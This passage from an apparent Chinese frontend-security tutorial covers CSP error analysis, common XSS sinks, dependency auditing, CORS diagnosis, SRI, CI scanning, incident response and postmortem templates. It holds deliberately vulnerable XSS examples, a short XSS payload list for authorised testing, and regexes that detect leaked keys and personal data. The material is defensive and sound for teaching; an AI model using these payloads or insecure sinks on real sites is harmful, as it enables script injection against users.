// 分片上传（大文件）+ 进度显示 + 断点续传
const chunkSize = 1024 * 1024; // 1MB一片
const chunks = Math.ceil(file.size / chunkSize);
const uploadId = generateUUID(); // 本次上传唯一ID

for (let i = 0; i < chunks; i++) {
const start = i * chunkSize;
const end = Math.min(start + chunkSize, file.size);
const chunk = file.slice(start, end);

const formData = new FormData();
formData.append('chunk', chunk);
formData.append('index', i);
formData.append('total', chunks);
formData.append('uploadId', uploadId);
formData.append('filename', file.name);
formData.append('checksum', await this.calculateChecksum(chunk)); // 校验完整性

const res = await fetch('/api/upload/chunk', {
method: 'POST',
body: formData,
headers: {
'X-Upload-Token': getUploadToken() // 防重放
}
});

if (!res.ok) {
throw new Error(`分片${i}上传失败`);
}

this.updateProgress((i + 1) / chunks * 100);
}

// 通知后端合并分片
await fetch('/api/upload/merge', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ uploadId, filename: file.name })
});
}

async calculateChecksum(blob) {
// 计算分片hash，后端校验防篡改
const buffer = await blob.arrayBuffer();
const hashBuffer = await crypto.subtle.digest('SHA-256', buffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
return hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
}

showError(filename, reason) {
console.error(`[上传失败] ${filename}: ${reason}`);
// 显示UI提示…
}

updateProgress(percent) {
// 更新进度条…
}
}

代码跑不起来别慌，这几招排查思路能救急

安全配置搞多了，线上出问题怎么排查？这里列几个常见坑的解法。

控制台报CSP错误一脸懵？

CSP违规报错长这样：

Refused to load the script 'https://evil.com/track.js' because it violates the following Content Security Policy directive: "script-src 'self'".

看不懂？教你解读：

// CSP错误分析器
function analyzeCSPError(violation) {
const { blockedURI, violatedDirective, sourceFile, lineNumber } = violation;

console.group('🔒 CSP违规分析');

// 1. 看被拦的是什么
console.log(`被拦资源：${blockedURI || '内联脚本'}`);

// 2. 看违反的是哪条策略
const directive = violatedDirective.split(' ')[0];
console.log(`违反策略：${directive}`);

// 策略对应表
const directiveMap = {
'script-src': 'JavaScript来源',
'style-src': 'CSS来源',
'img-src': '图片来源',
'connect-src': 'AJAX/WebSocket目标',
'frame-src': 'iframe来源',
'font-src': '字体来源',
'media-src': '音视频来源',
'object-src': '插件(Flash/PDF)来源',
'frame-ancestors': '页面被嵌入规则',
'form-action': '表单提交目标'
};

console.log(`策略含义：${directiveMap[directive] || '未知'}`);

// 3. 看触发位置
if (sourceFile) {
console.log(`触发位置：${sourceFile}:${lineNumber}`);
} else {
console.log('触发位置：HTML内联（可能是动态注入）');
}

// 4. 给解决方案
console.log('%c解决方案：', 'color: green; font-weight: bold');

if (blockedURI === 'inline') {
console.log('1. 将内联脚本移到外部JS文件');
console.log('2. 或者给script标签加nonce属性（需后端配合）');
console.log('3. 或者计算脚本hash加入CSP白名单（不推荐，维护难）');
} else if (blockedURI === 'eval') {
console.log('1. 避免使用eval()和new Function()');
console.log('2. 如果必须用，CSP加\\'unsafe-eval\\'（降低安全性）');
} else {
console.log(`1. 如果${blockedURI}是可信资源，将其加入${directive}白名单`);
console.log('2. 检查是否有恶意脚本注入（如果不是你加载的）');
console.log('3. 考虑使用nonce策略替代域名白名单');
}

console.groupEnd();
}

// 监听CSP违规
document.addEventListener('securitypolicyviolation', (e) => {
analyzeCSPError({
blockedURI: e.blockedURI,
violatedDirective: e.violatedDirective,
sourceFile: e.sourceFile,
lineNumber: e.lineNumber
});
});

明明转义了还是被注入？

可能是你漏掉了动态渲染的死角：

// 常见漏网之鱼排查清单
class XSSTroubleshooter {
checkCommonMistakes() {
// 1. URL参数直接展示
const params = new URLSearchParams(location.search);
const name = params.get('name');
document.write(`欢迎，${name}`); // ❌ document.write是XSS重灾区

// 2. hash路由处理
const hash = location.hash.slice(1);
document.getElementById('app').innerHTML = hash; // ❌ hash也能注入

// 3. postMessage接收
window.addEventListener('message', (e) => {
document.getElementById('msg').innerHTML = e.data; // ❌ 不校验来源
});

// 4. 第三方库动态插入
// 有些图表库、地图库会动态插入DOM，检查它们的配置参数是否做了转义

// 5. 服务端渲染(SSR)注水
// 如果SSR渲染时没转义，客户端hydrate后可能出问题
}

// 全局XSS扫描（开发环境用）
scanPotentialXSS() {
// 重写危险的DOM API，检测未转义的输入
const originalSetters = {
innerHTML: Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML'),
outerHTML: Object.getOwnPropertyDescriptor(Element.prototype, 'outerHTML')
};

Object.defineProperty(Element.prototype, 'innerHTML', {
set: function(value) {
// 检测是否包含可疑标签
if (/<script|<iframe|<object|<embed/i.test(value)) {
console.warn('⚠️ 检测到潜在的innerHTML XSS风险:', value.substring(0, 100));
console.trace();
}
return originalSetters.innerHTML.set.call(this, value);
}
});
}
}

依赖包爆出高危漏洞

# 快速定位漏洞来源
npm audit # 查看漏洞列表

# 看具体是哪个包引入的
npm ls 漏洞包名

# 例如：
npm ls lodash
# 输出：
# project@1.0.0
# ├─┬ some-ui-lib@2.0.0
# │ └── lodash@4.17.15 # 就是这个老家伙
# └─┬ another-tool@1.0.0
# └── lodash@4.17.21 # 这个版本安全

# 解决方案：
# 1. 更新父包
npm update some-ui-lib

# 2. 如果父包没更新，用resolutions强制覆盖（Yarn）
# 或 npm overrides（npm 8.3+）
# package.json:
{
"overrides": {
"lodash": "4.17.21"
}
}

# 3. 临时屏蔽（迫不得已）
# .nsprc 或 audit-ci.json
{
"exceptions": ["CVE-2021-23337"]
}

遇到诡异的跨域问题

跨域报错别急着改后端，先自查：

// 跨域诊断工具
function diagnoseCORS() {
const problems = [];

// 1. 检查请求头
const headers = new Headers();
headers.append('Content-Type', 'application/json');
headers.append('X-Custom-Header', 'value'); // 自定义头会触发预检

// 如果后端没配置Access-Control-Allow-Headers: X-Custom-Header
// 就会报CORS错误

// 2. 检查Cookie
fetch('/api/data', {
credentials: 'include' // 带Cookie
});
// 如果后端没配置Access-Control-Allow-Credentials: true
// 或者配置了但Origin是*，就会失败

// 3. 检查预检请求(Preflight)
// 复杂请求（PUT/DELETE/自定义头）会先发OPTIONS
// 如果后端没处理OPTIONS，直接405

// 4. 检查协议混合
// 页面是HTTPS，请求HTTP资源，浏览器会block（Mixed Content）

console.log(`
CORS排查清单：
1. 后端是否配置了Access-Control-Allow-Origin？（不能是*如果带Cookie）
2. 后端是否允许了对应的Method？
3. 后端是否允许了自定义Headers？
4. 是否处理了OPTIONS预检请求？
5. 协议是否一致（HTTPS页面不能请求HTTP）？
6. 是否带了credentials但Origin是*？
`);
}

几个让老板直呼内行的骚操作技巧

用Subresource Integrity给第三方CDN加把锁

CDN被劫持了怎么办？SRI能确保你加载的文件没被篡改。

<!– 普通引用（危险，CDN被黑就完） –>
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"></script>

<!– SRI保护（文件被篡改浏览器拒绝加载） –>
<script
src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js"
integrity="sha384-vtXRMe3mGCbOeY7l30aIg8H9p3GdeSe4IFlP6G8JMa7o7lXvnz3GFKzPxzJdPfG+"
crossorigin="anonymous">
</script>

怎么生成integrity值？

# 命令行生成（需要openssl）
curl -s https://cdn.jsdelivr.net/npm/vue@3.2.0/dist/vue.global.js | \\
openssl dgst -sha384 -binary | \\
openssl base64 -A

# 或者用在线工具
# https://www.srihash.org/

// 构建时自动生成SRI（Webpack配置）
const SriPlugin = require('webpack-subresource-integrity');

module.exports = {
plugins: [
new SriPlugin({
hashFuncNames: ['sha384', 'sha512'],
enabled: process.env.NODE_ENV === 'production'
})
]
};

自动化扫描集成到CI/CD流水线

# .github/workflows/security-scan.yml
name: 安全扫描

on: [push, pull_request]

jobs:
security:
runs-on: ubuntu–latest
steps:
– uses: actions/checkout@v3

# 1. 依赖漏洞扫描
– name: 运行npm audit
run: |
npm audit –audit-level=moderate
# 或者用更严格的snyk
# npx snyk test –severity-threshold=high

# 2. 代码安全扫描（Semgrep规则）
– name: 扫描危险代码模式
uses: returntocorp/semgrep–action@v1
with:
config: >–
p/security–audit
p/owasp–top–ten
p/cwe–top–25

# 3. 密钥泄露扫描
– name: 检测硬编码密钥
uses: trufflesecurity/trufflehog@main
with:
path: ./
base: main
head: HEAD

# 4. CSP合规检查
– name: 验证CSP配置
run: |
# 检查生产环境CSP头
curl -s -I https://yourdomain.com | grep -i "content-security-policy"

# 5. 前端性能+安全扫描（Lighthouse CI）
– name: Lighthouse CI
run: |
npm install -g @lhci/cli@0.11.x
lhci autorun

混淆代码别只为了防逆向

// 构建时混淆配置（javascript-obfuscator）
const WebpackObfuscator = require('webpack-obfuscator');

module.exports = {
plugins: [
new WebpackObfuscator({
rotateStringArray: true,
stringArray: true,
stringArrayEncoding: ['base64', 'rc4'],
deadCodeInjection: true,
deadCodeInjectionThreshold: 0.4,
debugProtection: true, // 防调试
debugProtectionInterval: 2000,
disableConsoleOutput: true, // 禁用console
selfDefending: true, // 代码防篡改
// 关键：控制流扁平化，增加分析难度
controlFlowFlattening: true,
controlFlowFlatteningThreshold: 0.75
}, ['excluded_bundle_name.js'])
]
};

但记住：混淆只能防君子不防小人，有决心的黑客总能逆向。混淆的主要目的是：

定期搞搞"红蓝对抗"

// 内部渗透测试工具箱（仅供授权测试）

// 1. XSS自动化测试
class XSSTester {
payloads = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'javascript:alert(1)',
'" onclick="alert(1)',
// … 更多payload
];

async testInputFields(url) {
// 自动扫描所有输入框
const inputs = document.querySelectorAll('input, textarea');
for (const input of inputs) {
for (const payload of this.payloads) {
input.value = payload;
input.dispatchEvent(new Event('input'));
// 检查是否执行
if (await this.checkExecution()) {
console.warn(`XSS漏洞发现：${input.name || input.id}`);
}
}
}
}
}

// 2. CSRF测试
async function testCSRF() {
// 检查关键接口是否有CSRF Token
const forms = document.querySelectorAll('form');
for (const form of forms) {
if (form.method.toLowerCase() === 'post') {
const hasToken = form.querySelector('input[name="csrf_token"]') ||
form.querySelector('input[name="_token"]');
if (!hasToken) {
console.warn(`CSRF风险：${form.action} 没有Token保护`);
}
}
}
}

// 3. 敏感信息泄露扫描
function scanSensitiveInfo() {
const patterns = {
'AWS密钥': /AKIA[0-9A-Z]{16}/,
'GitHub Token': /ghp_[a-zA-Z0-9]{36}/,
'私钥': /—–BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY—–/,
'手机号': /1[3-9]\\d{9}/g,
'身份证号': /\\d{17}[\\dXx]|\\d{15}/
};

const html = document.documentElement.innerHTML;
for (const [name, regex] of Object.entries(patterns)) {
const matches = html.match(regex);
if (matches) {
console.warn(`发现${name}泄露：`, matches);
}
}
}

建议每季度做一次内部渗透测试，雇外部的安全公司每年做一次全面审计。

万一真被黑了也别原地去世，留条后路好翻身

紧急预案得准备好

// 应急开关（Kill Switch）
class EmergencySwitch {
constructor() {
// 监听远程配置，一键下线功能
this.checkEmergencyStatus();
// 每30秒检查一次
setInterval(() => this.checkEmergencyStatus(), 30000);
}

async checkEmergencyStatus() {
try {
const res = await fetch('/api/emergency-status?t=' + Date.now());
const { level, actions } = await res.json();

switch(level) {
case 'critical':
// 最高级别：立即禁用所有交互，显示维护页
this.lockdown();
break;
case 'high':
// 高危：禁用敏感操作（支付、转账、修改资料）
this.disableSensitiveFeatures();
break;
case 'medium':
// 中危：增加验证强度，所有操作需二次确认
this.enhanceVerification();
break;
}
} catch (e) {
// 连不上配置中心，保守策略：降级服务
this.disableSensitiveFeatures();
}
}

lockdown() {
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#fff;display:flex;
align-items:center;justify-content:center;z-index:99999">
<div style="text-align:center">
<h1>🛡️ 系统安全维护中</h1>
<p>检测到安全风险，暂时关闭服务。请稍后再试。</p>
<p>如有疑问请联系客服：400-xxx-xxxx</p>
</div>
</div>
`;

// 阻止所有请求
const originalFetch = window.fetch;
window.fetch = () => Promise.reject(new Error('Service locked down'));
}

disableSensitiveFeatures() {
// 给所有敏感按钮加锁
document.querySelectorAll('[data-sensitive]').forEach(btn => {
btn.disabled = true;
btn.title = '暂时不可用';
});
}
}

日志记录要留痕

// 安全审计日志（发送到只后端，前端不留存敏感信息）
class SecurityAuditLog {
static log(eventType, details = {}) {
const logEntry = {
timestamp: Date.now(),
eventType, // 如：LOGIN, LOGOUT, PASSWORD_CHANGE, SENSITIVE_ACTION
sessionId: this.getSessionId(),
userAgent: navigator.userAgent,
// 注意：不要记录密码、token等敏感内容！
metadata: {
page: location.href,
referrer: document.referrer,
…details
}
};

// 发送到日志服务器（不阻塞主流程）
navigator.sendBeacon('/api/security-log', JSON.stringify(logEntry));
}

static getSessionId() {
// 从Cookie或内存获取会话ID，不要重新生成
return document.cookie.match(/sessionId=([^;]+)/)?.[1] || 'anonymous';
}
}

// 使用示例
// 用户修改密码
SecurityAuditLog.log('PASSWORD_CHANGE', {
method: 'user-initiated',
ipChange: false // 是否换IP操作
});

// 异常行为
SecurityAuditLog.log('SUSPICIOUS_ACTIVITY', {
type: 'rapid-clicks',
count: 50,
timeWindow: '5s'
});

别光顾着修洞，记得给用户发公告

事故后的用户沟通模板：

【重要安全通知】

尊敬的用户：

我们发现并于[时间]修复了一个安全漏洞，该漏洞可能导致[影响范围]。
经排查，可能有[X]名用户受到影响，我们已采取[补救措施]。

您需要做的：
1. 立即修改密码
2. 检查[某功能]的最近记录
3. 开启二次验证

我们已升级防护系统，防止类似事件再次发生。如有疑问请联系…

[落款]

别学某些公司藏着掖着，最后被曝光更惨。主动坦白，给出解决方案，用户反而更信任你。

吃一堑长一智

每次事故后写内部复盘文档：

# 安全事件复盘 – 2026-02-28 XSS攻击

## 事件经过
– 14:32 监控报警，异常流量激增
– 14:45 确认XSS漏洞，开始应急响应
– 15:10 部署CSP紧急补丁，阻断攻击
– 15:30 清理恶意脚本，通知受影响用户

## 根因分析
1. 评论区输入过滤缺失（直接原因）
2. 代码审查未覆盖富文本组件（流程漏洞）
3. 缺少CSP兜底策略（防御层缺失）

## 修复措施
– [x] 所有用户输入点增加转义
– [x] 部署CSP策略
– [x] 增加自动化XSS扫描到CI

## 经验教训
1. 不要相信任何用户输入，包括"内部"用户
2. 安全策略需要多层防御（纵深防御）
3. 监控报警要足够敏感，宁可误报

## 责任人
– 直接责任人：XXX（已培训）
– 流程改进：安全团队
– 复查人：XXX

写到这差不多也够了。安全这东西，说到底就是**“防君子更防小人”，“多层防御”，“快速响应”**。别指望有什么银弹能一招制敌，黑客的攻击面太多了，你只能把自己能做的做到极致，然后祈祷后端兄弟也别掉链子。

记住几个核心原则：

代码示例应该够多了，都是可以直接抄去用的。有不懂的或者想深入聊某个场景的，随时群里喊我。散会！🍻